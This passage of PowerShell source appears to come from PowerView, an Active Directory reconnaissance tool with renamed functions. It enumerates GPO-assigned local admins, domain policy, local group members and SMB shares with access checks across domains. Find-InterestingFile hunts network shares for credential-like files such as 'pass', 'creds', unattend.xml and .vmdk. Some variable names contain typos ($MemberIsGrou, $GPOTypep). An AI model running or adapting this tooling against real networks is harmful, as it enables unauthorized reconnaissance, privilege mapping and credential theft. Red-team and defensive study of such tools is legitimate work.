$AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
$AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
$AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
$AppliedSite
}
}
}
}
function Find-GPOComputerAdmin {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$ComputerName,
[String]
$OUName,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$Recurse,
[String]
$LocalGroup = 'Administrators',
[Switch]
$UsePSDrive,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
process {
if(!$ComputerName -and !$OUName) {
Throw "-ComputerName or -OUName must be provided"
}
$GPOGroups = @()
if($ComputerName) {
$Computers = Get-ThisThingComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
if(!$Computers) {
throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
}
$TargetOUs = @()
ForEach($Computer in $Computers) {
# extract all OUs a computer is a part of
$DN = $Computer.distinguishedname
$TargetOUs += $DN.split(",") | ForEach-Object {
if($_.startswith("OU=")) {
$DN.substring($DN.indexof($_))
}
}
}
# enumerate any linked GPOs for the computer's site
$ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$GPOGroups += Get-ThisThingSite -SiteName $ComputerSite -FullData | ForEach-Object {
if($_.gplink) {
$_.gplink.split("][") | ForEach-Object {
if ($_.startswith("LDAP")) {
$_.split(";")[0]
}
}
}
} | ForEach-Object {
$GPOGroupArgs = @{
'Domain' = $Domain
'DomainController' = $DomainController
'ResolveMemberSIDs' = $True
'UsePSDrive' = $UsePSDrive
'PageSize' = $PageSize
}
# for each GPO link, get any locally set user/group SIDs
Get-ThisThingGPOGroup @GPOGroupArgs
}
}
}
else {
$TargetOUs = @($OUName)
}
Write-Verbose "Target OUs: $TargetOUs"
$TargetOUs | Where-Object {$_} | ForEach-Object {
$GPOLinks = Get-ThisThingOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
# and then get any GPO links
if($_.gplink) {
$_.gplink.split("][") | ForEach-Object {
if ($_.startswith("LDAP")) {
$_.split(";")[0]
}
}
}
}
$GPOGroupArgs = @{
'Domain' = $Domain
'DomainController' = $DomainController
'UsePSDrive' = $UsePSDrive
'ResolveMemberSIDs' = $True
'PageSize' = $PageSize
}
# extract GPO groups that are set through any gPlink for this OU
$GPOGroups += Get-ThisThingGPOGroup @GPOGroupArgs | ForEach-Object {
ForEach($GPOLink in $GPOLinks) {
$Name = $_.GPOName
if($GPOLink -like "*$Name*") {
$_
}
}
}
}
# for each found GPO group, resolve the SIDs of the members
$GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
$GPOGroup = $_
if($GPOGroup.GroupMembers) {
$GPOMembers = $GPOGroup.GroupMembers
}
else {
$GPOMembers = $GPOGroup.GroupSID
}
$GPOMembers | ForEach-Object {
# resolve this SID to a domain object
$Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOComputerAdmin = New-Object PSObject
$GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
$GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
$GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
$GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
$GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
$GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
$GPOComputerAdmin
# if we're recursing and the current result object is a group
if($Recurse -and $GPOComputerAdmin.isGroup) {
Get-ThisThingGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
$MemberDN = $_.distinguishedName
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
$MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
if ($_.samAccountName) {
# forest users have the samAccountName set
$MemberName = $_.samAccountName
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = Convert-SidToName $_.cn
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $_.cn
}
}
$GPOComputerAdmin = New-Object PSObject
$GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
$GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
$GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
$GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
$GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
$GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
$GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
$GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
$GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
$GPOComputerAdmin
}
}
}
}
}
}
function Get-DomainPolicy {
[CmdletBinding()]
Param (
[String]
[ValidateSet("Domain","DC")]
$Source ="Domain",
[String]
$Domain,
[String]
$DomainController,
[Switch]
$ResolveSids,
[Switch]
$UsePSDrive
)
if($Source -eq "Domain") {
# query the given domain for the default domain policy object
$GPO = Get-ThisThingGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
if($GPO) {
# grab the GptTmpl.inf file and parse it
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
$ParseArgs = @{
'GptTmplPath' = $GptTmplPath
'UsePSDrive' = $UsePSDrive
}
# parse the GptTmpl.inf
Get-GptTmpl @ParseArgs
}
}
elseif($Source -eq "DC") {
# query the given domain/dc for the default domain controller policy object
$GPO = Get-ThisThingGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"
if($GPO) {
# grab the GptTmpl.inf file and parse it
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
$ParseArgs = @{
'GptTmplPath' = $GptTmplPath
'UsePSDrive' = $UsePSDrive
}
# parse the GptTmpl.inf
Get-GptTmpl @ParseArgs | ForEach-Object {
if($ResolveSids) {
# if we're resolving sids in PrivilegeRights to names
$Policy = New-Object PSObject
$_.psobject.properties | ForEach-Object {
if( $_.Name -eq 'PrivilegeRights') {
$PrivilegeRights = New-Object PSObject
# for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate
$_.Value.psobject.properties | ForEach-Object {
$Sids = $_.Value | ForEach-Object {
try {
if($_ -isnot [System.Array]) {
Convert-SidToName $_
}
else {
$_ | ForEach-Object { Convert-SidToName $_ }
}
}
catch {
Write-Verbose "Error resolving SID : $_"
}
}
$PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
}
$Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
}
else {
$Policy | Add-Member Noteproperty $_.Name $_.Value
}
}
$Policy
}
else { $_ }
}
}
}
}
function Get-ThisThingLocalGroup {
[CmdletBinding(DefaultParameterSetName = 'WinNT')]
param(
[Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
[Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
[Alias('HostName')]
[String[]]
$ComputerName = $Env:ComputerName,
[Parameter(ParameterSetName = 'WinNT')]
[Parameter(ParameterSetName = 'API')]
[ValidateScript({Test-Path -Path $_ })]
[Alias('HostList')]
[String]
$ComputerFile,
[Parameter(ParameterSetName = 'WinNT')]
[Parameter(ParameterSetName = 'API')]
[String]
$GroupName = 'Administrators',
[Parameter(ParameterSetName = 'WinNT')]
[Switch]
$ListGroups,
[Parameter(ParameterSetName = 'WinNT')]
[Switch]
$Recurse,
[Parameter(ParameterSetName = 'API')]
[Switch]
$API
)
process {
$Servers = @()
# if we have a host list passed, grab it
if($ComputerFile) {
$Servers = Get-Content -Path $ComputerFile
}
else {
# otherwise assume a single host name
$Servers += $ComputerName | Get-NameField
}
# query the specified group using the WINNT provider, and
# extract fields as appropriate from the results
ForEach($Server in $Servers) {
if($API) {
# if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
# arguments for NetLocalGroupGetMembers
$QueryLevel = 2
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the local user information
$Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
$LocalUsers = @()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ""
$Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($Result2 -eq 0) {
Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$LocalUser = New-Object PSObject
$LocalUser | Add-Member Noteproperty 'ComputerName' $Server
$LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
$LocalUser | Add-Member Noteproperty 'SID' $SidString
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
$LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
$LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')
$LocalUsers += $LocalUser
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
# try to extract out the machine SID by using the -500 account as a reference
$MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
$Parts = $MachineSid.SID.Split('-')
$MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
$LocalUsers | ForEach-Object {
if($_.SID -match $MachineSid) {
$_ | Add-Member Noteproperty 'IsDomain' $False
}
else {
$_ | Add-Member Noteproperty 'IsDomain' $True
}
}
$LocalUsers
}
else {
Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
# otherwise we're using the WinNT service provider
try {
if($ListGroups) {
# if we're listing the group names on a remote server
$Computer = [ADSI]"WinNT://$Server,computer"
$Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
$Group = New-Object PSObject
$Group | Add-Member Noteproperty 'Server' $Server
$Group | Add-Member Noteproperty 'Group' ($_.name[0])
$Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
$Group | Add-Member Noteproperty 'Description' ($_.Description[0])
$Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
$Group
}
}
else {
# otherwise we're listing the group members
$Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
$Members | ForEach-Object {
$Member = New-Object PSObject
$Member | Add-Member Noteproperty 'ComputerName' $Server
$AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
$Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)
# try to translate the NT4 domain to a FQDN if possible
$Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
$IsGroup = $Class -eq "Group"
if($Name) {
$FQDN = $Name.split("/")[0]
$ObjName = $AdsPath.split("/")[-1]
$Name = "$FQDN/$ObjName"
$IsDomain = $True
}
else {
$ObjName = $AdsPath.split("/")[-1]
$Name = $AdsPath
$IsDomain = $False
}
$Member | Add-Member Noteproperty 'AccountName' $Name
$Member | Add-Member Noteproperty 'IsDomain' $IsDomain
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
if($IsDomain) {
# translate the binary sid to a string
$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
$Member | Add-Member Noteproperty 'Description' ""
$Member | Add-Member Noteproperty 'Disabled' ""
if($IsGroup) {
$Member | Add-Member Noteproperty 'LastLogin' ""
}
else {
try {
$Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
}
catch {
$Member | Add-Member Noteproperty 'LastLogin' ""
}
}
$Member | Add-Member Noteproperty 'PwdLastSet' ""
$Member | Add-Member Noteproperty 'PwdExpired' ""
$Member | Add-Member Noteproperty 'UserFlags' ""
}
else {
# repull this user object so we can ensure correct information
$LocalUser = $([ADSI] "WinNT://$AdsPath")
# translate the binary sid to a string
$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
$Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
if($IsGroup) {
$Member | Add-Member Noteproperty 'PwdLastSet' ""
$Member | Add-Member Noteproperty 'PwdExpired' ""
$Member | Add-Member Noteproperty 'UserFlags' ""
$Member | Add-Member Noteproperty 'Disabled' ""
$Member | Add-Member Noteproperty 'LastLogin' ""
}
else {
$Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
$Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
$Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
# UAC flags of 0x2 mean the account is disabled
$Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
try {
$Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
}
catch {
$Member | Add-Member Noteproperty 'LastLogin' ""
}
}
}
$Member.PSObject.TypeNames.Add('PowerView.LocalUser')
$Member
# if the result is a group domain object and we're recursing,
# try to resolve all the group member results
if($Recurse -and $IsGroup) {
if($IsDomain) {
$FQDN = $Name.split("/")[0]
$GroupName = $Name.split("/")[1].trim()
Get-ThisThingGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
$Member = New-Object PSObject
$Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
$MemberDN = $_.distinguishedName
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
$MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
if ($_.samAccountName) {
# forest users have the samAccountName set
$MemberName = $_.samAccountName
}
else {
try {
# external trust users have a SID, so convert it
try {
$MemberName = Convert-SidToName $_.cn
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $_.cn
}
}
catch {
Write-Debug "Error resolving SID : $_"
}
}
$Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
$Member | Add-Member Noteproperty 'SID' $_.objectsid
$Member | Add-Member Noteproperty 'Description' $_.description
$Member | Add-Member Noteproperty 'Disabled' $False
$Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
$Member | Add-Member Noteproperty 'IsDomain' $True
$Member | Add-Member Noteproperty 'LastLogin' ''
$Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
$Member | Add-Member Noteproperty 'PwdExpired' ''
$Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
$Member.PSObject.TypeNames.Add('PowerView.LocalUser')
$Member
}
} else {
Get-ThisThingLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse
}
}
}
}
}
catch {
Write-Warning "[!] Error: $_"
}
}
}
}
}
filter Get-MySMBShare {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
[Object[]]
[ValidateNotNullOrEmpty()]
$ComputerName = 'localhost'
)
# extract the computer name from whatever object was passed on the pipeline
$Computer = $ComputerName | Get-NameField
# arguments for NetShareEnum
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the share information
$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $SHARE_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $SHARE_INFO_1
# return all the sections of the structure
$Shares = $Info | Select-Object *
$Shares | Add-Member Noteproperty 'ComputerName' $Computer
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$ShareObject = New-Object -TypeName PSObject
$ShareObject | Add-Member NoteProperty "ComputerName" $Shares.ComputerName
$ShareObject | Add-Member NoteProperty "ShareName" $Shares.shi1_netname
$ShareObject | Add-Member NoteProperty "ShareDesc" $Shares.shi1_remark
$ShareObject | Add-Member NoteProperty "Sharetype" $Shares.shi1_type
$ComputerName = $Shares.ComputerName
$ShareName = $Shares.shi1_netname
$ShareType = $Shares.shi1_type
$ShareDesc = $Shares.shi1_remark
# Check access
try{
$TargetPath = "\\$ComputerName\$ShareName"
$Null = [IO.Directory]::GetFiles($TargetPath)
Write-Verbose "$Computer : ACCESSIBLE! - Share: \\$computerName\$ShareName Desc: $ShareDesc Type:$ShareType"
$ShareObject | Add-Member NoteProperty "ShareAccess" "Yes"
$ShareObject
}catch{
Write-Verbose "$Computer : NOT ACCESSIBLE - Share: \\$computerName\$ShareName Desc: $ShareDesc Type:$ShareType"
$ShareObject | Add-Member NoteProperty "ShareAccess" "No"
$ShareObject
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
function Find-InterestingFile {
<#
.SYNOPSIS
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml). The output can be piped out to a csv with the
-OutFile flag. By default, hidden files/folders are included in search results.
.PARAMETER Path
UNC/local path to recursively search.
.PARAMETER Terms
Terms to search for.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last week.
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER OutFile
Output results to a specified csv output file.
.PARAMETER UsePSDrive
Switch. Mount target remote path with temporary PSDrives.
.OUTPUTS
The full path, owner, lastaccess time, lastwrite time, and size for each found file.
.EXAMPLE
PS C:\> Find-InterestingFile -Path C:\Backup\
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
or 'email' in the title, and writes the results out to a csv file
named 'out.csv'
.EXAMPLE
PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.LINK
http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
#>
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Path = '.\',
[Alias('Terms')]
[String[]]
$SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
[Switch]
$OfficeDocs,
[Switch]
$FreshEXEs,
[String]
$LastAccessTime,
[String]
$LastWriteTime,
[String]
$CreationTime,
[Switch]
$ExcludeFolders,
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[String]
$OutFile,
[Switch]
$UsePSDrive
)
begin {
$Path += if(!$Path.EndsWith('\')) {"\"}
if ($Credential) {
$UsePSDrive = $True
}
# append wildcards to the front and back of all search terms
$SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
# search just for office documents if specified
if ($OfficeDocs) {
$SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
# find .exe's accessed within the last 7 days
if($FreshEXEs) {
# get an access time limit of 7 days ago
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearchTerms = '*.exe'
}
if($UsePSDrive) {
# if we're PSDrives, create a temporary mount point
$Parts = $Path.split('\')
$FolderPath = $Parts[0..($Parts.length-2)] -join '\'
$FilePath = $Parts[-1]
$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
try {
$Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
}
catch {
Write-Verbose "Error mounting path '$Path' : $_"
return $Null
}
# so we can cd/dir the new drive
$Path = "${RandDrive}:\${FilePath}"
}
}
process {
Write-Verbose "[*] Search path $Path"
function Invoke-CheckWrite {
# short helper to check is the current user can write to a file
[CmdletBinding()]param([String]$Path)
try {
$Filetest = [IO.FILE]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
Write-Verbose -Message $Error[0]
$False
}
}
$SearchArgs = @{
'Path' = $Path
'Recurse' = $True
'Force' = $(-not $ExcludeHidden)
'Include' = $SearchTerms
'ErrorAction' = 'SilentlyContinue'
}
Get-ChildItem @SearchArgs | ForEach-Object {
Write-Verbose $_
# check if we're excluding folders
if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
} | ForEach-Object {
if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
}
else {$_}
} | ForEach-Object {
# filter for write access (if applicable)
if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
} | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
# check if we're outputting to the pipeline or an output file
if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}
else {$_}
}
}
end {
if($UsePSDrive -and $RandDrive) {
Write-Verbose "Removing temp PSDrive $RandDrive"
Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
}
}
}
function Invoke-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String[]]
$ComputerName,
[Parameter(Position=1,Mandatory=$True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position=2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1,100)]
$Threads = 20,
[Switch]
$NoImports
)
begin {
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
$SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if(!$NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
# Add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach($Var in $MyVars) {
if($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# Add Functions from current runspace to the InitialSessionState
ForEach($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
$method = $null
ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) {
$methodParameters = $m.GetParameters()
if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {
$method = $m.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
}
process {
ForEach ($Computer in $ComputerName) {
# make sure we get a server name
if ($Computer -ne '') {
# Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"
While ($($Pool.GetAvailableRunspaces()) -le 0) {
Start-Sleep -MilliSeconds 500
}
# create a "powershell pipeline runner"
$p = [powershell]::create()
$p.runspacepool = $Pool
# add the script block + arguments
$Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
if($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $p.AddParameter($Param.Name, $Param.Value)
}
}
$o = New-Object Management.Automation.PSDataCollection[Object]
$Jobs += @{
PS = $p
Output = $o
Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))
}
}
}
}
end {
Write-Verbose "Waiting for threads to finish..."
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
} While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)
ForEach ($Job in $Jobs) {
$Job.PS.Dispose()
}
$Pool.Dispose()
Write-Verbose "All threads completed!"
}
}
function Invoke-ShareFinder {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('Hosts')]
[String[]]
$ComputerName,
[ValidateScript({Test-Path -Path $_ })]
[Alias('HostList')]
[String]
$ComputerFile,
[String]
$ComputerFilter,
[String]
$ComputerADSpath,
[Switch]
$ExcludeStandard,
[Switch]
$ExcludePrint,
[Switch]
$ExcludeIPC,
[Switch]
$NoPing,
[Switch]
$CheckShareAccess,
[Switch]
$CheckAdmin,
[UInt32]
$Delay = 0,
[Double]
$Jitter = .3,
[String]
$Domain,
[String]
$DomainController,
[Switch]
$SearchForest,
[ValidateRange(1,100)]
[Int]
$Threads
)
begin {
if ($PSBoundParameters['Debug']) {
$DebugPreference = 'Continue'
}
# random object for delay
$RandNo = New-Object System.Random
Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
# figure out the shares we want to ignore
[String[]] $ExcludedShares = @('')
if ($ExcludePrint) {
$ExcludedShares = $ExcludedShares + "PRINT$"
}
if ($ExcludeIPC) {
$ExcludedShares = $ExcludedShares + "IPC$"
}
if ($ExcludeStandard) {
$ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
}
# if we're using a host file list, read the targets in and add them to the target list
if($ComputerFile) {
$ComputerName = Get-Content -Path $ComputerFile
}
if(!$ComputerName) {
[array]$ComputerName = @()
if($Domain) {
$TargetDomains = @($Domain)
}
elseif($SearchForest) {
# get ALL the domains in the forest to search
$TargetDomains = Get-ThisThingForestDomain | ForEach-Object { $_.Name }
}
else {
# use the local domain
$TargetDomains = @( (Get-ThisThingDomain).name )
}
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for hosts"
